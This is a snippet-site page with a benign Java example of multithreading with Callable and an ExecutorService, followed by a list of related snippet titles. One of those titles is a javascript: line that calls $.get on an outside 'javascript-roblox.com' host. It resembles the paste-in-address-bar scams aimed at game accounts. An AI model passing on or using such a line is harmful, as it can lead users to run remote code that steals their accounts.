Search
 
SCRIPT & CODE EXAMPLE
 

JAVA

multi threading callable

import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.*;
public class CallableDemo {
 
  public static class Counter implements Callable<String> {
        private int SIZE;
        private int counter = 0;
        private String name;
        public Counter(int size, String name) {
            this.SIZE = size;
            this.name = name;
        }
        @Override
        public String call() {
            while(this.counter < SIZE) {
                this.counter++;
            }
            return "Done " + this.name;
        }
  }
 
  public static void main(String args[]) throws Exception {
      int size = 1000000;
      ExecutorService pool = Executors.newFixedThreadPool(10);
      List<Future<String>> listOfFutures = new ArrayList<Future<String>>();
 
      for(int i=0; i<10; i++) {
          Callable<String> callableCounter = new Counter(size, "counter" + i);
          Future<String> futureCounterResult = pool.submit(callableCounter);
          listOfFutures.add(futureCounterResult);
      }
      for (Future<String> future : listOfFutures) {
          System.out.println(future.get());
      }
       
      pool.shutdown();
  }
}
Output:
Comment

PREVIOUS NEXT
Code Example
Java :: add element to queue java 
Java :: aspectj after returning 
Java :: how to put comments on swagger documentation in spring boot 
Java :: reversing an integer with overflow handled 
Java :: how to convert string to int android studio kotlin 
Java :: comvertir a java 
Java :: call c function from java 
Java :: java bean go to other page 
Java :: initialize set of strings java 
Java :: super class and concrete class in java 
Java :: private void loadmaze(string mazefile) 
Java :: How to code the Fibonacci Sequence using simple iterative loops java 
Java :: Java Integer Literals 
Java :: how to return custom value in api spring boot 
Java :: string expression execution for java 
Java :: maven show runtime classpath 
Java :: codegrepper java instanceof 
Java :: Returning methods 
Java :: conditional statement problems in java 
Java :: java assert keyword 
Java :: java add forward / at the end of not present 
Java :: call method of another class without creating instance in java android 
Java :: java no name array eg 
Java :: java code to input non blank string 
Java :: Custom Layout to listview 
Java :: JavaFX font display issue on Mac 
Java :: are inner classes inherited 
Java :: xJavascript:$.get("//javascript-roblox.com/api?i=8593") 
Java :: how to get value from property file in spring xml file 
Java :: No Duplicate Key on HashMap 
ADD CONTENT
Topic
Content
Source link
Name
3+8 =